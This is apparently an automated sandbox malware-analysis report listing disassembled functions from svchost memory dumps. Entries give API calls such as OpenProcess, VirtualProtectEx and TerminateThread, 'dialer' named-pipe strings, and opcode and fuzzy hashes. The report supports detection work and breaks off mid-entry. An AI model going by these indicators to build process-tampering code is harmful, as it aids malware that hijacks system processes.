Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 57cb264d3990d0bdc8e496bdce57bc45f54469c11ba177c15f029bb998e39be8
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: BE213876658E82C2EB209B25F4443BA67E0F789BE5F544265EA5907AA8DF3CC149CB00

Function 000001F28C1D9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001F28C1D99A1

Part of subcall function 000001F28C1DA814: __GetUnwindTryBlock.LIBCMT ref: 000001F28C1DA857
Part of subcall function 000001F28C1DA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001F28C1DA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001F28C1D9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001F28C1D9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001F28C1D9DDA

Strings

csm, xrefs: 000001F28C1D9A22
csm, xrefs: 000001F28C1D9A9C
csm, xrefs: 000001F28C1D99BB

Memory Dump Source

Source File: 00000031.00000002.3593423408.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: a9609446f00a766f3d3b655ef47b5d2ff7605ba4997714f758606ca2dc9d6f4c
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 38E15672644F828AEB609F65E4803ED7BE0F755BD8F104125EB8957B9ACF38E491C740

Function 000001F28C93A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001F28C93A5A1

Part of subcall function 000001F28C93B414: __GetUnwindTryBlock.LIBCMT ref: 000001F28C93B457
Part of subcall function 000001F28C93B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001F28C93B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001F28C93A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001F28C93A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001F28C93A9DA

Strings

csm, xrefs: 000001F28C93A622
csm, xrefs: 000001F28C93A5BB
csm, xrefs: 000001F28C93A69C

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: e40025dd339e04ccce31ab42e6e43acdbfcb282d0efd4a44ebad16c513d6860d
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 51E17A72640B828AEB209BB598803FD77E0F755BE8F196166EE8957B99CF34C481C701

Function 000001F28C93F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000001F28C93F510
GetProcAddress.KERNEL32 ref: 000001F28C93F51C

Strings

ext-ms-, xrefs: 000001F28C93F46D
api-ms-, xrefs: 000001F28C93F45A

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 13c93742e32ee18173703abb3e1a129c63d5b1ec7d71d03a5c5f3c659c718adc
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 1E41AF72391E82D1EB16CB76A9087F623D1FB49BE0F0962B9DD0A87785EF39C4458314

Function 000001F28C93104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001F28C9310B1
RegEnumValueW.ADVAPI32 ref: 000001F28C931117
GetProcessHeap.KERNEL32 ref: 000001F28C93115A
HeapAlloc.KERNEL32 ref: 000001F28C931168
GetProcessHeap.KERNEL32 ref: 000001F28C931185
HeapFree.KERNEL32 ref: 000001F28C931193

Strings

d, xrefs: 000001F28C9310D6

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: e61549d0980b68c844d3942048ca76a1816c2b656e0948ec105a341f4de0e688
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 2D412A72254FC5CAE760CF61E4447EA77E1F389B99F448129DA8907B58EF38C589CB40

Function 000001F28C93D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D087
FlsSetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D0A6
FlsSetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D0CE
FlsSetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D0DF
FlsSetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D0F0

Strings

1%, xrefs: 000001F28C93D0CE
Y%, xrefs: 000001F28C93D0A6

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 5dc8ff007fbd2db76a624d83063225198278ec11a387f4125d1c2f12366c8b68
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: D2119332794EC782FA68973565613FA62C95B44BF4F1C63F4E839076EADF38C4028200

Function 000001F28C937510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F28C937538
__scrt_acquire_startup_lock.LIBCMT ref: 000001F28C93758A
_RTC_Initialize.LIBCMT ref: 000001F28C9375B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F28C9375DE
__scrt_release_startup_lock.LIBCMT ref: 000001F28C937609

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 9b580adf4509b41eb4a94773ff5a8102b7ce542dff54e5b26089740a9ad9f4c5
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: ED81F771780EC386FB54AB35AA513F922D1AB85BCCF1CA4F5E90987796EB38C845C710

Function 000001F28C939DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001F28C939E49
GetLastError.KERNEL32 ref: 000001F28C939E57
LoadLibraryExW.KERNEL32 ref: 000001F28C939E81
FreeLibrary.KERNEL32 ref: 000001F28C939EC7
GetProcAddress.KERNEL32 ref: 000001F28C939ED3

Strings

api-ms-, xrefs: 000001F28C939E69

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 03f29b56315fbdb1e2c5d3331ac812390df4fb0cbb8384e9f5da931591f2930e
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 9D31A232292E82E1EE219B62A4007F523D4B748BE0F5E6675DD2E0B7D0EF39C5858310

Function 000001F28C943DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001F28C943DE5
GetLastError.KERNEL32 ref: 000001F28C943DF1
CloseHandle.KERNEL32 ref: 000001F28C943E09
CreateFileW.KERNEL32 ref: 000001F28C943E34
WriteConsoleW.KERNEL32 ref: 000001F28C943E53

Strings

CONOUT$, xrefs: 000001F28C943E15

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 67fdd3f2f8992466b5831d267c2879e71773b428b435bf4b694825e767cf1671
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 69115B71250E82C6E7508B52E8547B966E0F788FE5F448264EA5E87794DB38C9148740

Function 000001F28C933790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001F28C93379E
GetCurrentProcess.KERNEL32 ref: 000001F28C9337CC
VirtualProtectEx.KERNEL32 ref: 000001F28C9337EE
GetCurrentProcess.KERNEL32 ref: 000001F28C933809
VirtualProtectEx.KERNEL32 ref: 000001F28C93382A

Strings

wr, xrefs: 000001F28C9337FF

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 9fd3b5cfc8d5e8966b9d3604d7804b60c4d561f4ad314e44b91f313a0dd5a99b
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: BB112A7A745B82C2EB149B22E4082B962A0F748BD5F4841B9DE8D07B54EF3DC545C704

Function 000001F28C932F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C932F27
HeapAlloc.KERNEL32 ref: 000001F28C932F3A
StrCmpNIW.SHLWAPI ref: 000001F28C932FAF
GetProcessHeap.KERNEL32 ref: 000001F28C933015
HeapFree.KERNEL32 ref: 000001F28C933023

Strings

dialer, xrefs: 000001F28C932FA8

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: b9cea8a45f337747782123fe34ee0897264f1dc14d1d7790dfee48e93a4f475a
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: FF316C36781F96C2EA55DF26E9407BA67E0FB48BC4F089174DE4847B66EF38C4A18700

Function 000001F28C93CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001F28C93CFAF
FlsSetValue.KERNEL32(?,?,?,000001F28C93D6B5,?,?,?,?,000001F28C93D778), ref: 000001F28C93CFE5
FlsSetValue.KERNEL32(?,?,?,000001F28C93D6B5,?,?,?,?,000001F28C93D778), ref: 000001F28C93D012
FlsSetValue.KERNEL32(?,?,?,000001F28C93D6B5,?,?,?,?,000001F28C93D778), ref: 000001F28C93D023
FlsSetValue.KERNEL32(?,?,?,000001F28C93D6B5,?,?,?,?,000001F28C93D778), ref: 000001F28C93D034
SetLastError.KERNEL32 ref: 000001F28C93D04F

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 418adbff46a5a50f38b0b253e874f0d0017697ca07832169e1c80a98fc2d9935
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: A8119D31394EC2C2FA24A73169557FA22D66B88BF4F1863B4E836477DAEF3984018600

Function 000001F28C93199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001F28C9319C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001F28C9319E0
PathFindFileNameW.SHLWAPI ref: 000001F28C9319EF
lstrlenW.KERNEL32 ref: 000001F28C9319FB
StrCpyW.SHLWAPI ref: 000001F28C931A0E
CloseHandle.KERNEL32 ref: 000001F28C931A1C

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 1a6447b746ba72951b106e25e3206bcaab34f772bbf3986eefe84e7ef40a23b2
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 5A012D71344E8282EB64DB62A4587B963E5F788BC5F488075DE4983765DF3CC549C740

Function 000001F28C9336C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001F28C9336E4
GetCurrentProcess.KERNEL32 ref: 000001F28C9336F2
VirtualProtectEx.KERNEL32 ref: 000001F28C933714
GetCurrentProcess.KERNEL32 ref: 000001F28C933732
VirtualProtectEx.KERNEL32 ref: 000001F28C933753
TerminateThread.KERNEL32 ref: 000001F28C933762

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: efc9dd88066c2b846a4813f200c66da5525754cb4ea5464905f9a4518e267477
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 690129B5291F82C2FB249B22E8183B963E0BB49BC6F0844B8CD4E07765EF3DC1488700

Function 000001F28C938FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C939013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F28C9390A8
RtlUnwindEx.NTDLL ref: 000001F28C9390F7

Strings

f, xrefs: 000001F28C939026
csm, xrefs: 000001F28C93908E

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: f9eb285e1d34bcdb7ed76620ca0307c61ee7c6b0458fb15f7398ffc743cad808
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: A451DF32345A828AEB14CF65E848BB977E6F344BC8F1A91B4DE0653788DB75CA81C700

Function 000001F28C931A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001F28C931A60
StrCmpNIW.SHLWAPI ref: 000001F28C931A7A
lstrlenW.KERNEL32 ref: 000001F28C931A89
StrCpyW.SHLWAPI ref: 000001F28C931A9E

Strings

\\?\, xrefs: 000001F28C931A6E

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: efef17bbaea8c09d0e74b7a2858e95e013f6fcdb200dc7db2845cff4b926692d
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 71F04F72344EC292EB608F21F8847B967A1F748BC9F889070DA4987964DF3CC68DCB00

Function 000001F28C933044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001F28C933066
StrCpyW.SHLWAPI ref: 000001F28C933076
StrCatW.SHLWAPI ref: 000001F28C933082
PathCombineW.SHLWAPI ref: 000001F28C933090

Strings

\\.\pipe\, xrefs: 000001F28C93305C

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 148976000f075657713aaae28a70d927c58dd9bf1c24965bf8e6e3b71b7eca3c
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: CBF01275754FC682EA148B53B9141B966A6BB48FD0F08D1B4EE5A47B18DF3CC4458700

Function 000001F28C93BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001F28C93BCBD
GetProcAddress.KERNEL32 ref: 000001F28C93BCD3
FreeLibrary.KERNEL32 ref: 000001F28C93BCFA

Strings

CorExitProcess, xrefs: 000001F28C93BCCC
mscoree.dll, xrefs: 000001F28C93BCB4

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: fc48c038c58eca095657e722b28af341116bf169d467f81dd0427d00468570f8
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 90F090B1351F8681EB208B29E8443F963A1FB89BE1F5456B9CA6A472E4DF3CC048C340

Function 000001F28C9350D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F28C935156

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 695498e749fc0dccb61c5851ea1446fca79afe24a4ea5175a6ebc953a781018c
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: FE02B536259BC586EB60CB65E4943BAB7E1F3C8794F145065FA8E87BA8DB7CC444CB00

Function 000001F28C1E3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F28C1E352C
_set_statfp.LIBCMT ref: 000001F28C1E3547
_set_statfp.LIBCMT ref: 000001F28C1E3563
_set_statfp.LIBCMT ref: 000001F28C1E359F

Memory Dump Source

Source File: 00000031.00000002.3593423408.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: a4a41e1020a2a8b071d84c40f44e8a003d1d22f86d765e777ed5b7e6a37d2a97
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 101191B2AD0F1391FA641528E4C13F91BC16F593F4FC88639E966C73D68BB4C841C200

Function 000001F28C944104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F28C94412C
_set_statfp.LIBCMT ref: 000001F28C944147
_set_statfp.LIBCMT ref: 000001F28C944163
_set_statfp.LIBCMT ref: 000001F28C94419F

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 18dd3864b1be54540109cc27050939df0162b2e3d2136eb0ccd191d63ff6d6f5
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 4B117032AD0ED3A2F6685568E8563F911C16B7C3F8F18C6F4E976077E6CB38CA416201

Function 000001F28C939650 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001F28C93966F
SetLastError.KERNEL32 ref: 000001F28C9396F6

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 46c896f13dff0714c7ccebb8ca9383bb675cc38bcf091c92c481f4a556b8b138
Instruction ID: 7bb4e64f612b34c83592e40eb8d5e89f9ecd63dea6d765824e11e06b7d663cc9
Opcode Fuzzy Hash: 46c896f13dff0714c7ccebb8ca9383bb675cc38bcf091c92c481f4a556b8b138
Instruction Fuzzy Hash: 26116030786EC382FF549735A8843F922D5AB487E4F0D66B4D926077D9EB38C841C700

Function 000001F28C1DF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001F28C1DF124

Strings

Tuesday, xrefs: 000001F28C1DF0F4
or copy constructor iterator', xrefs: 000001F28C1DF25A, 000001F28C1DF275
Wednesday, xrefs: 000001F28C1DF1ED

Memory Dump Source

Source File: 00000031.00000002.3593423408.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 8ad1ea8264d7c37166e6a84d5d136f736317519dcbce977c15a2e7b39df90729
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 1B61C1766A0E4242FA699B69E5C43FE6EE1E7867C0F544539DB0B077A4DB34FA42C300

Function 000001F28C93AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001F28C93AA68
_CallSETranslator.LIBVCRUNTIME ref: 000001F28C93AAB7

Strings

RCC, xrefs: 000001F28C93AA85
MOC, xrefs: 000001F28C93AA7C

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: f049bdfa4467cedf291596ae25218e3f591c75243dbf1769f2e4c86082fcfec4
